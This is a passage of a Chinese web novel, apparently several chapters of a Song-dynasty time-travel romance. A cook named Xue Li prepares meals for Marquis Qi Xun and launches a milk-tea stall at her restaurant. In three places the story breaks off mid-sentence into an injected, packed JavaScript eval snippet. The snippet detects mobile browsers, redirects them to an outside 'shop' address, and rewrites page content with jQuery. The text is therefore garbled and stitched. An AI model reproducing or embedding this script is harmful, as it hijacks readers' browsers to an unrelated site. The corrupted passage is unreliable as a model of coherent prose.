薛荔捻起一块，只觉两指间都油润起来，递至唇边一咬，那饼便“沙沙”地掉落酥渣，吃得那叫一个满嘴生香。 这大宋的桃穰酥似乎与后世的桃酥略有不同，添入的是切成碎粒的胡桃与松仁，而非磨细了的坚果粉，吃起来口感更为粗犷，更添几分香脆。 还许是这桃穰酥中不曾添入小苏打，酥饼并不太蓬松，比较硬实耐嚼，她的贝齿轻轻一触，酥粒便细碎地洒满在她口腔中，于咀嚼之间渐渐干热，使人口水直泌。 薛荔本就忙活了大半个上午，没顾得上用膳，眼下胃里的馋虫都被这包桃穰酥勾出来，不知不觉便一连吃了三四块。 嘴里边咸香温暖，窗外街景繁华热闹，正是惬意悠然之时。 她心情大好，撩开车前帘，同云冯唠起嗑来：“你阿娘的手艺当真极好！这桃穰酥油香酥脆的，却又不腻人，我都忍不住吃第五块了。” 云冯得意洋洋，挺直了腰板：“那是自然！这可是我从小吃到大的点心，能不好吃么？而且我阿娘做的其他点心在我们县里也可出名了，下回她再进京，我要她多带些来，给大家伙儿都尝尝！” 薛荔咬了一口桃穰酥，含糊道：“你阿娘这手艺，不留在京城当真可惜。不如，我请她来第一香做厨娘？” 云冯挠头犹豫：“我阿娘手艺是好不错，可她会做的也就是些老式点心，烹菜水平定是没你们几位专攻的庖厨高的。” “会做老式点心便够了。”薛荔诚心劝道，“你莫瞧我平日会做许多花样的糕点，但花样多也不尽然管用。有些老饕呀，就是惦记着童年记忆中那口老糕点的滋味，我可做不出来，但你阿娘指定行！而且，酒楼里的另外两位厨子也都是各自分工，烹菜之事定然无需你阿娘费心。” 见他神情略有松动，薛荔又宽慰道：“再说了，我也并非道道菜都做得好的。就比如前两日给侯爷做的那道旋煎羊肉，我手一抖，便不小心加多了盐。” “哪有，我觉着咸淡正正好哩！”云冯脱口而出，“羊肉腥膻，本就该多放些盐巴压压腥味。还有，汤里的白萝卜加得可谓极妙！清甜爽口，要不说羊肉和萝卜是绝配呢……” 说着说着，事情便有些不对头了。 忽而间意识到什么，云冯立马住嘴，只恨不得抽自己几个大嘴巴子——糟糕，他怎把这事说漏嘴了。 空气霎时沉默一瞬，他觉察到身边凉气森森包围，后背传来薛荔温柔的笑问：“云近卫，你是如何知晓那旋煎羊肉之咸淡的？” 云冯不语，只瑟瑟发抖：“……”言多必失，果真言多必失啊…… 他哆嗦了一下，干笑着道：“这事说来话长，其实是侯爷……呃、不！是我嘴馋！偷偷吃了点剩下的羊肉。” “哦，原是如此吗？”薛荔的表情意味深长。 …… 马车徐徐地停在侯府门口，车里车外的争辩缺还未休止，吵声直将在前院清点账目的楚总管都惊动出来了。 楚总管颇为头疼地将他们俩赶下马车，揪进府中。 这大庭广众之下的，又是侯府门口，可不能让他俩把侯府的脸给丢光了。 他板着脸，扫了眼面前站成一排的两人：“你二人这是在吵些什么？” “冤枉！我哪敢同薛小娘子争……” “云冯他竟骗了我足足一周！” 楚总管只觉脑瓜子“嗡嗡”响，揉着眉心听完二人争执，这才明白事情原委。 听罢，他沉吟片刻，微微皱眉朝云冯道：“在侯爷身边待了那么多年，还学不会聪明……行了，回去值守吧。” 云冯和薛荔皆是一愣。只不过，后者似乎不敢置信：“您就这般放他走啦？” 楚总管闭着眼摆了摆手，云冯如蒙大赦，笑嘻嘻溜了，直将薛荔气得在背后抡拳威胁。 谁料，前边的楚总管突然回身，吓得她赶忙松开拳头，顺势抚了抚额前的碎发。 楚总管只当没瞧见她那些小动作，语重心长道：“就为着此事同云冯吵起来了？此话我本不该多嘴，毕竟如今你都是郡主了……” 薛荔不觉有些心虚，弱弱地插了句嘴：“此事也非小事，侯爷连续几日早出晚归，几乎都没好好用膳，胃疾只怕要愈加严重了。还有云冯那家伙！吃掉餐食也就罢了，竟还一直瞒着我此事！”真是让人心寒呐！ 楚总管见她满容忿色，微叹了口气：“你不知原由，故而心急，我亦理解。” 薛荔一怔：“……什么原由？” “你可知侯爷这几日离府，为的是何事？” 她轻轻摇头。 “侯爷这些时日一直在查军中贪腐之事。线人来报多发突然，线索亦零碎，侯爷不愿耽搁，只得亲自往返在地。长亭短亭，歇息都成问题，哪还有闲好好用膳呢？” 薛荔愣了愣，一时心中酸涩，先前憋闷的气仿佛也被这话一点点吹散，只余一抹无声的心疼。 她又望着楚总管，忽然记起当年他便是因前线粮草调度有故，失去了自己的妻女。 两人沉默良久。再抬首时，楚总管的眸底似有一层浅薄水光：“当年军饷出故，多少人家破人亡。侯爷至今未放下此案，就是想下一场战事起时不再有无辜之人死于贪墨。” “我晓得了，楚总管……”薛荔垂首低喃。 他深深地吸了一口气：“侯爷不顾身子，亦是身不由己，你莫怪他。至于膳食，侯爷知你如今忙碌，早也交代过，你若得闲便由你做，若不得空，便交给郭厨代劳。” 然而，知晓归知晓，但思忖过后，薛荔仍是想亲自制膳。 郭栗祥的厨艺虽精，可齐恂显然是更偏好她所烹制菜肴的口味。且有一点，她亦是有些私心的——便是他鲜少有空用膳，可只要他吃，她希望他吃到的永远是她做的菜。 于是，再从膳房里出来时，薛荔手中已拎着一只黑漆嵌百花鸟提梁食盒。 食盒足有三层，上层乃芋煨白菜、脂麻辣菜；中层乃灌鸡粉羹、牡丹酥鱼与白炸春鹅；最底层乃主食红丝虾肉馎饦，外加一小碗餐后甜点，金橘水团。 墨竹堂就在对门，院中值守的云冯老早便瞧见薛荔出来，大步流星地上前帮她拎食盒，讨好道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972796|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛小娘子又给侯爷做了不少好吃的吧，这一盒定然可沉，我来拎着便是！” 两人几时辰前方斗完嘴，薛荔虽不至于记恨他，却也想学齐恂那张冷脸逗逗他。 可如今不需要她逗呢，云冯自个儿便笑嘻嘻地跑来了，倒是颇为好笑。 “喏，你想拎着那便给你吧。”薛荔没忍住翘起唇角。 云冯心中舒了口气，信誓旦旦道：“今日我定帮你盯着侯爷吃干净所有饭菜！” “今日倒不必你帮我盯着。”薛荔走到屋舍门口停下，又将云冯手里的食盒拿了回来，“今日，我要亲眼见他吃光所有饭菜！” 说罢，叩响书房门。 书案旁，齐恂正挥毫习字，抬眸见她，眉目间略带几分意外，搁下狼毫迎上前去：“看来今日得闲，倒亲自来给我送膳了？” 好几日不见她人影，心底还怪空落落的，本想着去酒楼关照一番他家小狐狸的生意，但一想到酒楼方开张不久，她定分身乏术，便也不愿给她凭添更多劳乏了。 薛荔路过案桌时，特意扫了眼案上的字帖，只见铺开的那宣纸上，墨字若笔走龙蛇、跌宕遒丽。 她倒瞧着，得闲之人该是他才对，都练起书法来了，自然也有空吃光她做的饭了。 薛荔将食盒搁在小饭桌上，将里头的菜碟取出摆开：“事关侯爷健康，儿家怎敢偷懒？” 齐恂一听，这话语味道怪怪，不太对劲，心中思忖少顷，一下便了然是为何了，心底暖和和的：“前段时日任事繁多，难得回府，荒废了你的好手艺，往后我自当悉数补上。” 薛荔表面上微笑了下，实则腹诽：哪里浪费了她的心意？她的心意全都被他叫云冯给吃得干干净净啦！ “你可用了膳？坐下来一块吃些。”齐恂邀请。 她狐疑地打量他几眼，见他神色坦然，不像是想多个人帮他分担食物的模样，这才在他对面落座。饭菜喷香，她的肚子不合时宜地“咕咕”唤了好几声。 齐恂替她盛了一碗红丝虾肉馎饦，端到她面前，看了一看，似乎嫌量少，托起碗又欲再添。薛荔忙伸手一把按住：“侯爷想干嘛，全都夹给我吗？” 齐恂很是理所当然：“这么一小碗够谁吃？” 薛荔将碗夺过来：“我若不够，到时再吃些别的便是，侯爷还是老老实实把自己面前这份吃掉罢。” 齐恂半晌不语。 过了没一会儿，又开始不经意地给她夹其他菜肴，东扯西谈起来。 薛荔吃饭时不爱多话，只想专心致志地干饭，便有一搭没一搭地应着他的话。 一开始还不觉有什么，直到自己吃了许久，可碗中的菜量都不曾减少，甚至还有渐堆成一座小山的趋势，这才忍不住一拍筷子：“侯爷是打算将我喂成一头猪么？” 齐恂摸了摸鼻子，略不自在地轻咳了声。 他能说什么？总不能说，他觉着她吃饭的模样秀色可餐，比这满桌的菜肴还要吸引人罢？ 有的人从自己吃美食中获得幸福感，有的人则从看别人吃美食中获得。 齐恂显然是后者，不对……亦或许是，他看的那人让他感到幸福。 好不容易消停下来，薛荔细细品味起桌上的菜肴。 芋煨白菜里的芋头粉糯，白菜软烂，汤汁更是鲜美甘甜！ 脂麻辣菜的“脂麻”一词其实是“芝麻”之意，将冬葵、芦菔、千金菜?切成细丝，再拌入蜀椒、茱萸油与芥辣增添辣味，一口下去，脆爽清口。 还有那灌鸡粉羹，细腻滑嫩，灌制的鸡肉肠紧实弹牙，搭配着笋丁、木耳，香浓又滋补。 白炸春鹅听上去似是油炸菜，其实不然，乃是将鹅肉片成薄片，汆烫至熟后堆砌成小山形状，食用时再佐以热油激香的酱汁。 几道菜滋味都佳，唯有牡丹酥鱼，薛荔鲜少动筷。 53. 咸起司奶茶 她儿时曾被鱼刺卡过喉咙，吞馒头、喝醋、喝气泡饮料，什么法子都试过一遍，最终还是赶去医院，被医生用鱼刺钳夹出来的。这段记忆之痛苦，让她时至今日都心有余悸，亦不爱吃鱼。 若是逢年过节，必要一道鱼来添添喜气，家里人亦会选择刺较少的多宝鱼或鲈鱼烹饪。 “话说回来，侯爷近来怎地不去宫中陪陛下弈棋了？”薛荔夹着菜，随口一问。 齐恂正低着头细致地给牡丹酥鱼挑刺，闻言，手中的筷子一顿，抬眸深深望她。 那段时日，他为何老往宫中跑，她心中是一点也没数么…… 面前的薛荔仍浑然不觉，托腮提着筷箸，悄悄拨弄着碗底的一块鱼肉。 这块鱼刺多得要命，她心有阴影，不太敢下口。 可偏偏这鱼又是齐恂亲自夹给她的，总不好当着东家的面，拂了他的面子罢？ 戳戳戳戳戳……薛荔险些便能将那块鱼肉戳成肉泥，同碗底的汤汤水水混在一处，瞧不清本来模样。 可下一刻，一双乌木银箸横过来，稳稳拦住了她的筷头，动弹不得。 薛荔微微张嘴，瞧着对面的齐恂。 对方倒面不改色，淡定地将那一块“面目全非”的鱼肉夹出，搁进自己碗中，又将新挑干净刺的鱼肉送到她碗里。 薛荔呆愣愣地看着他将那块坑坑洼洼的鱼肉夹起，似乎要吃掉它——那可是被她用过的筷子戳烂的鱼哇！这、这人不是有洁癖吗？！ 齐恂慢条斯理地将那块鱼送进口中，神情从容，一口咽下后，见她仍愕然地张着口，淡淡道：“不吃，也不许浪费粮食。”说罢，又用箸指向她碗中：“那一块没有刺。” “……噢。”薛荔慌忙地抄起筷子，埋头吃鱼。 不是已经到了凉瑟的秋了么？为何她还会觉得脸颊烫得厉害？ 接下来的时间里，齐恂有没有好好吃饭薛荔不知，她只晓得自己的脸都快埋进饭碗里头，直至屋外响起一阵匆遽脚步声。 “侯爷！”云冯急声禀报，“城中暗线传来密报！” 齐恂手上动作一顿，旋即搁下筷子，起身去取外袍。 行至一半，他又忽然折返，将桌上那盘早已挑净刺的鱼推到薛荔手边：“这盘也无刺，你替我吃了吧。” 一切都发生得太快，让人反应不及。 待到他披好外袍，小饭桌旁的薛荔才回过神来，伸长脖子试图唤住他：“膳都没用完，侯爷又想跑！” “我从不临阵脱逃。”齐恂回身到饭桌旁，微微俯身，拿走了那碗金橘水团，对上她眼眸，以表心意，“这样，总不算逃兵了罢？” “欸——”薛荔眼睁睁地瞧着这人从自己眼皮子底下光明正大地溜走，心里一阵气闷。 这下可好，看他那事态紧急的模样，保守估摸，怕是连晚膳也顾不上吃了。 薛荔愤愤地大咬了一口无刺的鲫鱼肉。 不行，这样下去可不行。 她得想个法子，要他再也忘不掉这事才行！ - 京城暗线来报，道于京郊的一处荒山洞穴中发现粮草。数量虽少，似是山中村民囤积，可若细究，或许暗藏更大的隐患，叫人不得不防。 加之，近来宫中传来消息，官家体况忽而日下。朝中那些向来蛰伏的狼子野心之人也开始按捺不住，渐露手脚。为稳大局，齐恂不得不连日坐镇，夙兴夜寐，追查线索。 “近来陛下的饮食，可安排人查过了？”齐恂方从郊外风尘仆仆地赶回司官署，一边褪下手套，一边问询近况。 这两日天气愈发酷寒，风饕雪虐，他下马车不过片刻，氅衣两肩处便覆上一层薄薄白雪。 也不知那小狐狸过得如何，天寒可有添衣？ 早在郊外驻扎时，他便传信回府，府中上下，每人房中多添两月炭火。这样一来，若她住在府中，便不会着凉了。 云冯快步跟上，回道：“陛下的饮食早先由医官院刘院首亲自查过，并无不妥。刘院首言，陛下是因政务繁忙，导致乏劳，已开了上好的药材调理圣体。” 齐恂脚步一顿，侧头吩咐：“传信萧文清，要他私下再查一遍，此事要隐秘。” 虽说，他二人素来相看相厌，但此事关乎家国，容不得私怨。 “萧……萧次首？”云冯一脸惊愕。 心中暗暗琢磨起来，那位萧次首不是也对薛小娘子有意？侯爷居然还能同他和谐相处，果真气度非凡！不愧是他家侯爷呀！ 齐恂回眸，冷冷一眼。 云冯打了个哆嗦，当即改口：“属下这便去办！” “等等。”齐恂唤住他，“今日府中的饭食可送来了？” 这段时日他虽忙碌，可府上的某人每日依旧默默制膳，做好后，便让侯府下人送餐食到殿前司官署来。 看来，并未因上回他匆匆离开而气恼。这反而使齐恂心底愧疚万分。 闻言，云冯面露难色：“这个……” 齐恂语气一沉：“说。” “这……小娘子说，侯爷最近似乎不需用膳，早几日便没让人送了。”云冯只得硬着头皮道。 齐恂：“……” 他淡淡道：“我何曾说过，不要用膳？” 云冯战战兢兢，紧闭着嘴巴。 齐恂冷哼一声，转身又往外走：“备车，去酒楼！” - 宋人多喜夜饮，是以大多酒楼要待华灯初上时生意才旺。 可今日才至晌午，第一香酒楼里的食客却仍不少。 只不过，大家伙儿并非奔着提前饮酒潇洒来的，而是为了一尝店家娘子新推的时物——“第一香”系列奶茶！ 薛荔新在酒楼门前新支了一个小摊，这样一来，无论路人是否想进酒楼用餐，都可在这寒冷冬日饮上一杯热乎乎的奶茶。 不过，并不必担忧她这突然多出来的一方小摊会被宋人“城管”勒令整改，因为这种“侵占官街”的行为在当今的大宋是被官府允许的。 与唐代严格的坊市制度大不相同，宋代的城市管理发生了翻天覆地的变化。 大抵亦是为了刺激商业、便利百姓，朝廷明确允许商户侵占一部分公共街道进行经营活动——亦就是所谓的“侵街” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994725|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过，这“侵街”也不可白侵，好歹是占着朝廷的土地做生意，多少都得向官府缴纳一笔名曰“侵街房廊钱”的赀费。 只要缴纳了这笔钱，不仅摊子是合法的，且还可受到官府保护。 薛荔特意寻铁匠打了一口宽口深腹的奶锅，一边吆喝，一边在摊子后现煮奶茶。 牛乳翻滚间，乳香氤氲，融进冬日的寒风里，温暖而甜蜜。 豆姑和馍儿坐在酒楼台阶边，小手中各捧着一杯焦糖珍珠咸牛乳茶，用粗竹管吸得滋滋有味，鼓起的小脸红扑扑的，引得不少路人驻足围观。 “小丫头，你这喝的是何物？”一位头缠深蓝抹额的老妇停下脚步，满面慈祥地笑着问豆姑。 豆姑一瞧有人好奇，乐得眼睛弯弯，忙不迭举起杯子：“我喝的是我家阿姊煮的焦糖珍珠咸牛乳茶！热热甜甜，可好喝啦！” “珍珠？”老妇人惊讶地顺着她手指看去，果见薛荔正忙碌地煮茶。 与寻常茶肆煮茶的方式略有不同，这家店的主人是先将团饼茶研磨成粉，点茶打出细腻泡沫，再倒入牛乳与一匙深褐小丸子，最后盖上一层浓稠的白浆封顶，用竹管一插，便端给一位茶客。 老妇看了半晌，却没瞧见那“珍珠”究竟在哪。 薛荔忙里抬头，笑盈盈地同老媪解释起来：“大娘误会啦，此珍珠可非彼珍珠，而是糯米粉制成的小圆子。因外形圆润、软糯弹牙，这才被咱们店唤作‘珍珠’呢。” 奶茶里的珍珠原该用木薯淀粉制成，但奈何大宋时期木薯还未传入，她只得以糯米粉代替，加入黑糖后，搓成小圆粒煮沸，最后过一遍凉水便可出锅。 一开始，她还略有些担忧，好在试过几次后，口感倒也相去不远，依旧是记忆中那般Q弹有嚼劲。 至于奶茶里的咸味来源，则是她自制的“咸奶盖”。 宋朝的名点心“滴酥鲍螺”中虽有奶油，但那奶油其实是从自然发酵的牛乳渣中分离出的，形态接近块状，且质地也不软，用来做奶盖实非佳材。 几番思索，薛荔选择以牛乳、糖和少量淀粉搅拌均匀，眼下这天气，都无需放入冰窖里冷藏，直接搁在外头窗台上一夜便好。次日再加入盐细，用竹筛使劲打发，便可柔滑如霜。 不得不说，咸甜搭配无论在何时何世，都很受大众欢迎。这咸甜交融的茶饮一出，立刻引来无数客人。 牛乳茶卖得极好，只是可怜薛荔、喜鱼与糍儿三人的胳膊。天晓得没有打发器，要将奶油打发是件多么酸手之事！ 奶锅里“咕嘟”作响，浓郁的乳香弥漫，温暖得几近让人忘了这是个寒冬。 老妇瞧着豆姑晃荡的这杯新奇玩意，似乎有些兴趣。 想到什么，薛荔眉眼弯弯地补上一句：“这乳茶里的珍珠虽嚼起来有趣，却有些费牙口，大娘若想尝个新鲜，不若来一杯我家的桂花酒酿烤奶茶？桂花馥郁，酒酿暖人，一杯只需十六文，最宜冬日饮用啦！” “那便劳烦小娘子给我来一杯。”老妇掏出铜钱，笑着点了点头。 薛荔收下钱，手脚麻利地捣鼓起奶茶来。 54. 侯爷来查岗 她为桂花酒酿烤奶茶选的茶底，乃是窨制茉莉。 茉莉香气清雅，可很好地中和甜腻。 烤奶须得单独放入陶罐中，小火煨烤。先加入茉莉花茶和黄糖冰，干烤出茶香，待糖冰多化成焦褐色时，方往罐中注少许滚水调匀，再添牛乳。 她又舀入一勺自制桂花蜜，不停搅拌，防止潽锅糊底。及至奶香溢出，便添酒酿一勺，撒上桂花碎。 最后，再用外带专用的竹筒深腹杯盛出。 薛荔将热乎乎的桂花酒酿烤奶递到老妇手中：“大娘仔细烫手。” 老妇接过，就着粗竹吸管轻啜一口，咂巴了下嘴，随即又举起竹筒杯左右打量：“这桂花乳茶好生香浓，蜜甜却又不腻，里头的酒酿也软糯醉人……欸，小娘子，你家这杯盏挺别致，可是能拿走的？我寻思拿回去插花正合用！” 薛荔眯眼一笑：“大娘好巧思。本店用竹杯盛奶茶，一来便于客官们外带；二来，正如您所说，可带回家可改作他用，既便利，又环保。” 起初萌发这个念头，还是因某日同齐悦放纸鸢时，无意间瞧见了侯府后荒山上的那片竹林。 林中多为老竹，因难再生笋，少人问津。 而薛荔所需的，恰是老竹。 新竹的水分和糖分都多，容易变形开裂，且青涩气味强烈。 而老竹便不同了，经过数年自然风干，水分早已无几，香气清淡，竹皮色泽温润如琥珀，且不易开裂，十分耐用。 她雇来两位工匠，截下漂亮修长的竹子，一一刮青打磨，而后又运回酒楼，用石灰水煮烫，防霉防虫。 最后洗晒干爽，借锉子刻出“第一香”的印记。如此一来，这便是一批独属于自家酒楼的杯盏了。 “小摊新张，凡购本店饮品者，皆可享第二杯半价之惠。大娘，要不给家中孙儿也带一杯尝尝？” 说着，薛荔拿起一杯刚做好的红豆珍珠牛乳茶给老媪瞧：“这杯里面搁了红豆与珍珠，半价只需六文钱，童儿们都爱嚼珍珠呢。” 老媪一瞧，果然见豆姑与馍儿正咬着竹管嘬珍珠，小脸上尽显满足。 她心头一软，当即掏出荷包：“好，那便再给我来一杯外带！” 又一笔生意到手哩！ 薛荔笑着打包，余光忽而瞥见酒楼门内一抹徘徊不决熟悉的身影。 那熟悉的小脑袋探出探进，心思其实都已写在脸上。 她心中一笑，故意问道：“糍儿，你怎地跑到前头来了？” 踌躇踱步的糍儿藏无可藏，脸一红，只好站了出来，支吾道：“我……后厨忙活完了，出来透透气。” 这孩子，还是故作老成。 分明眼巴巴地瞅着弟妹们喝乳茶，都不知馋了有多久了，可还是装作不动声色的模样——拧巴小孩儿。 薛荔也不揭穿，将早已备好的一杯奶茶塞到他手里：“方才做错了一杯，便劳你帮我消毁它吧。” 糍儿一愣，再低头，手中已多出一杯温温热热的饮品。 嗯……有浓浓的米香，似乎是阿荔姊姊新研发出来的炒米麻薯奶茶。 你问为何要唤作“麻薯”？ 其实，他亦不知，只是这东西的口感似乎同艾团的有些相似——不！比艾团还要绵软好吃些！不愧是他家阿姊做出来的！ 糍儿躲在楹柱后边，“咔嚓咔嚓”地嚼着奶茶中的炒米。 炒米本身干脆，泡在奶茶里便悄悄地啜饱了汁水，外层逐渐湿软，散发出牛乳香气，内里的芯却仍是脆生生的，有炒米独有的柴火香。 他正嚼得起劲，一道清亮的声音忽从旁边传来：“俊俏的小郎君，你正饮着的这杯是什么？” 糍儿“噗”地一口差点将奶茶全呛出来，转头一看，原来是一对年轻小夫妇。 夫妇二人出来逛大街，做娘子的无意瞅见楹柱后躲了一俊秀可爱的童儿，又见他捧着竹筒，喝得那叫一个满面陶醉，这才好奇起来，使唤自家相公上前问询。 糍儿本就为自己喝只有弟妹们才爱的奶茶颇不好意思，突然间被旁人发现，更为尤甚。 可仔细一瞧，又发觉这对小夫妇似乎是真诚地想买来自饮的。 忽然间，他心中的那一抹忸怩便强压了下去，立刻挺胸：“郎君问的这个？此乃我家阿姊新制的牛乳茶，天然健康、香甜可口，摊子就在前头。” 糍儿热心地将这二人领到摊前，滔滔介绍：“娘子和郎君不妨试饮，奶茶的款式繁多，有咸起司乳酪奶茶，焦糖珍珠牛乳茶……买一杯即享第二杯半价；买两杯即享听曲加说书的茶饮套餐服务；此外，还有长期的‘花笺集卡’活动，集满十个点数即可兑换一杯乳茶，还送专属定制刻名竹筒杯！您看您二位想喝些什么？” 那位郎君险都要以为自个儿误听了：“买上两杯便可听曲听书？” 薛荔在摊上一边煮奶茶，一边听着糍儿口若悬河地招揽食客，甚感欣慰。 其实早在推出奶茶业务前，她便在酒楼大堂里挪出来两块空地。 一处搭好台子，给赶趁人表演?小唱，另一处则摆上一套八仙桌椅，供说书人讲故事。 无意进酒楼消费的客人一听，只需买上买两杯奶茶便可听曲听书，定然会觉自个儿赚了。 毕竟，大宋可没有免费的娱乐，寻常想在酒楼里白坐着赏曲听书，那都是要消费的。 但事实则是，即便不卖奶茶，薛荔亦会请这二人作她酒楼的常驻嘉宾。 一来，可在非用膳时辰吸引些茶客；二来么，她这酒楼还是个小酒楼，哪请得起大戏班子呢？也只得先从小的抓起，撑撑场面为好。 那对小夫妇试饮过后，都觉新奇不错，且这茶饮套餐又尤为诱人，便爽利地搁下铜钱，捧着两杯热乎乎的奶茶进酒楼休闲去了。 薛荔正欲夸夸糍儿的口才，忽听街头一阵马嘶，一大片黑色的阴影缓缓笼罩在门前石阶上。 这马车好生眼熟……似乎是…… 还不及她蹦出结论，车夫下车揭帘，车厢内步出一人，身披玄黑大氅，神情清峻，凛凛有威。 “侯……侯爷？”薛荔愣在原地，心中暗觉不妙。他既得闲回京，理当在府中歇息，怎地偏跑到她这小酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997078|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼来了？ 莫非……又是办公来了？ 齐恂淡淡地应了声，目光不及多停，径直抬步往大堂而去。 薛荔赶忙上前拖住他步伐：“侯爷侯爷！咱们这小酒楼您也是知晓的，绝无半点败法乱纪的勾当呀！” 齐恂的脚步缓停，侧身俯下，徐徐逼近：“谁告诉你，本候是来查风纪的？” 一股清冽冷香同她抱了个满怀，薛荔只觉心神似有些微醺，好半晌，才往后缩了缩脑袋瓜：“那……那侯爷驾到，是何贵干？” 她似乎听见他冷哼了声：“府中大厨不肯制膳，本候只好到外头来果腹了。” 说完，长腿一迈，又径自往堂中行去。 同薛荔所担忧的一点不差，宁武侯是何等的引人瞩目？ 楼中的众食客们前一秒还在悠闲地吃瓜嬉笑，下一刻转头见他，纷纷噤如寒蝉、敛色屏气。 大堂里的气氛立时凝固住了。 薛荔急得眼皮直跳。 此男分明是成心的！这般下去，她还怎么做生意？ 她一咬牙，冲上前去，硬生生使出牛劲，将人连拖带拽进了雅阁。 “为何不送膳？”一进阁子，齐恂倒也不同她拐弯抹角，环臂倚墙，姿态闲适，目光却沉静如水地盯凝着她。 原是为着此事啊。 打前段时日起，薛荔便有意逐日减少了餐食的分量，大抵亦是齐恂不曾在意，每回都只随手拿起筷子吃了几口，便继续忙公务。 日复一日，后来便也渐渐习惯。直至她不再嘱咐仆从送餐，他出公差回京，这才发觉。 薛荔压下笑意，撇了撇嘴：“侯爷似乎不喜进膳，小女子着实不忍见粮食白白浪费，便不叫侍从再送了。” 齐恂冷哼一声，低眉道：“我何时说过不喜欢？” “哦——那便是喜欢了？”话一脱口，薛荔才意识到，这话似乎有些不对劲。 但出口的话又哪能收回来？她耳尖腾地泛红，忙想补救：“咳、儿家的意思是……” “嗯，喜欢。”齐恂看着脑袋愈来愈低的薛荔，截断她的话，淡然答道。 “？？？！”薛荔讶然地抬头望向他，整个人都楞住了。 此男何时打起直球来了？ 她顿觉脸颊发烫，卡壳半晌：“那……那我去后厨给侯爷制膳！” 齐恂凝着她，笑而不语。 整个人儿仿若飘上云端，她脑袋有些晕乎乎的，方走出几步，又折返回来：“侯爷可要先尝尝楼中新出的牛乳茶？” …… 齐恂只知宋人多爱茶饮，辽、西夏、金等北方游牧民族颇爱酪浆，而这将二者结合制成饮子的却是少见。 制做牛乳茶的第一步，仍是点茶。 只见薛荔动作娴熟地将茶叶碾成粉末，入碗调成浓郁的茶膏，再注入滚水，以茶筅击拂。 密筅扫动之间，白沫如云，茶香清苦。若是茶百戏高手，至此可凭清水与茶汤作画。 烟云、花鸟、鱼虫、山水等景，皆可在茶面显形，倒是与现代的咖啡拉花颇有些相似。 55. 桂花冰酪酥 不过，薛荔倒不必做得这般精致。一来，她着实不擅此技，二来，不过一会儿，她待会儿还要往茶汤里添入牛乳与咸奶盖。 比起外带所用的简易竹筒，她准备的堂食之具——青白瓷筒杯，温润光洁，胎薄剔透，更显雅致。 齐恂有些别扭地将杯子捧在手心，凝着茶汤上那片白如雪、盈如云的浮盖，犹豫良久，终是依着薛荔所说的饮法，对嘴轻啜一口。 率先触碰到唇舌的，并非预想中的茶汤，而是那抹细腻又微咸的奶盖。 虽早从她口中听过这饮子的全名，但当齐恂亲口尝到这股咸味时，他的味蕾仍受到不小冲击。 毕竟，在他惯常的认知中，饮子有甜、酸，乃至是掺着些许药味的，却唯独从未有咸口的。 他微皱眉，却又耐不住薛荔那双亮晶晶的眼，只得低头又试第二口。 经过第一次的啜饮，上层的奶盖已然变薄，有些与下层清苦的茶汤融为一体，一同缓缓淌入口中。 咸意未夺茶味，反将茶之清苦、乳之甘醇，在味蕾上放大了百倍。咸味过后，茶香更显，层次交叠，反倒奇异地调和出一抹回甘悠长。 齐恂的眉头一点点舒展开，眼神由犹疑转为惊讶，再到惊喜：“你是如何想到这个搭配的？” 薛荔瞧见他唇上浮着一圈白沫，只觉他像极了一只被牛奶沾湿了胡子的冷面猫猫，顿时忍俊不禁。 “你笑什么？”齐恂自然不解，顺着她的眸光查看各处。这般动作，再配上他那无害幼稚的“白胡子”，更显得违和感十足。 她憋笑憋得辛苦，取出一方藕荷色的手帕，靠得近了些，踮起脚尖为他揾去唇边的浮沫。 丝绸帕子滑而软，仿若一汪柔软的春水，轻轻拂过他的唇廓，勾描出几分绻绻风月。 帕子当是她贴身携带的，似乎还沾染着几分她身上那抹甜醉的梨花香，勾人心弦。 齐恂只觉唇上霍闪过一道细微的火花，酥酥麻麻地顺着血流淌过头尾，复而刺激着自己怦怦跳动的心脏。 “此茶名曰‘咸起司乳酪奶茶’，侯爷觉着如何？若是喜欢，还可多来几杯。”薛荔收帕入袖，眉梢微挑，“不过，待会儿若是饮得多了吃不下饭，可莫再怪到大厨头上。” 话落好一会儿，直至她人已推门而出，步子轻快地往后厨去了。 齐恂方回过神来，望着那道窈窕背影，抬起手指碰了碰自己的唇瓣，唇畔不受控制地漾出一抹弧度。 第一香的奶茶业务开展不过短短两周，便吸引了大半个汴京城的人成群结队地前来购买。 眼瞅着每日酒楼门口总有一条长龙蜿蜒，奶茶业务的前途简直光明得闪煞人眼，薛荔甚至筹算着将“第一香糖水”系列提上日程。 